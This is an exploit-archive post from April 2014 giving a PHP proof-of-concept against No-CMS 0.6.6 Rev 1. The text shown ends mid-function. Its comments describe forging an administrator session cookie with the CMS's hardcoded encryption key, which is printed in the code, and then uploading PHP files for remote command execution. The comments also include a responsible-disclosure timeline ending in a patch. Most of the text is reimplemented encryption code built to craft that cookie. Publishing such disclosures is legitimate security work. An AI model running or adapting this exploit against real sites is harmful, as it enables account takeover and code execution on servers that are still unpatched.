Home / exploits No-CMS 0.6.6 Rev 1 Account Hijack / Remote Command Execution
Posted on 23 April 2014
<?php /* * * Static encryption_key of No-CMS lead to Session Array Injection in order to * hijack administrator account then you will be able for upload php files to * server via theme/module upload. * * This exploit generates cookie for administrator access from non-privileges cookie. * * Full analysis can be found following link. * http://www.mehmetince.net/codeigniter-based-no-cms-admin-account-hijacking-rce-via-static-encryption-key/ * * TIMELINE * * Apr 21, 2014 at 20:17 PM = Vulnerability found. * Apr 22, 2014 at 1:27 AM = First contact with no-cms developers. * Apr 22, 2014 at 1:31 AM = Response from no-cms developer. * Apr 22, 2014 at 2:29AM = Vulnerability confirmed by developers. * Apr 22, 2014 at 04:37 = Vulnerability has been patch via following commit. * https://github.com/goFrendiAsgard/No-CMS/commit/39d6ed327330e94b7a76a04042665dd13f2162bd */ define('KEY', 'namidanoregret'); define('KEYWORD', 'session_id'); function log_message($type = 'debug', $str){ echo PHP_EOL."[".$type."] ".$str; } function show_error($str){ echo PHP_EOL."[error] ".$str.PHP_EOL; exit(0); } function _print($str){ log_message("info", $str.PHP_EOL); } class CI_Encrypt { public $encryption_key = ''; protected $_hash_type = 'sha1'; protected $_mcrypt_exists = FALSE; protected $_mcrypt_cipher; protected $_mcrypt_mode; public function __construct() { $this->_mcrypt_exists = function_exists('mcrypt_encrypt'); log_message('debug', 'Encrypt Class Initialized'); } public function get_key($key = '') { return md5($this->encryption_key); } public function set_key($key = '') { $this->encryption_key = $key; return $this; } public function encode_from_legacy($string, $legacy_mode = MCRYPT_MODE_ECB, $key = '') { if ($this->_mcrypt_exists === FALSE) { log_message('error', 'Encoding from legacy is available only when Mcrypt is in use.'); return FALSE; } elseif (preg_match('/[^a-zA-Z0-9/+=]/', $string)) { return FALSE; } $current_mode = $this->_get_mode(); $this->set_mode($legacy_mode); $key = $this->get_key($key); $dec = base64_decode($string); if (($dec = $this->mcrypt_decode($dec, $key)) === FALSE) { $this->set_mode($current_mode); return FALSE; } $dec = $this->_xor_decode($dec, $key); $this->set_mode($current_mode); return base64_encode($this->mcrypt_encode($dec, $key)); } public function _xor_encode($string, $key = '') { if($key === '') $key = $this->get_key(); $rand = ''; do { $rand .= mt_rand(); } while (strlen($rand) < 32); $rand = $this->hash($rand); $enc = ''; for ($i = 0, $ls = strlen($string), $lr = strlen($rand); $i < $ls; $i++) { $enc .= $rand[($i % $lr)].($rand[($i % $lr)] ^ $string[$i]); } return $this->_xor_merge($enc, $key); } public function _xor_decode($string, $key = '') { if($key === '') $key = $this->get_key(); $string = $this->_xor_merge($string, $key); $dec = ''; for ($i = 0, $l = strlen($string); $i < $l; $i++) { $dec .= ($string[$i++] ^ $string[$i]); } return $dec; } protected function _xor_merge($string, $key) { $hash = $this->hash($key); $str = ''; for ($i = 0, $ls = strlen($string), $lh = strlen($hash); $i < $ls; $i++) { $str .= $string[$i] ^ $hash[($i % $lh)]; } return $str; } public function mcrypt_encode($data, $key = '') { if($key === '') $key = $this->get_key(); $init_size = mcrypt_get_iv_size($this->_get_cipher(), $this->_get_mode()); $init_vect = mcrypt_create_iv($init_size, MCRYPT_RAND); return $this->_add_cipher_noise($init_vect.mcrypt_encrypt($this->_get_cipher(), $key, $data, $this->_get_mode(), $init_vect), $key); } public function mcrypt_decode($data, $key = '') { if($key === '') $key = $this->get_key(); $data = $this->_remove_cipher_noise($data, $key); $init_size = mcrypt_get_iv_size($this->_get_cipher(), $this->_get_mode()); if ($init_size > strlen($data)) { return FALSE; } $init_vect = substr($data, 0, $init_size); $data = substr($data, $init_size); return rtrim(mcrypt_decrypt($this->_get_cipher(), $key, $data, $this->_get_mode(), $init_vect), "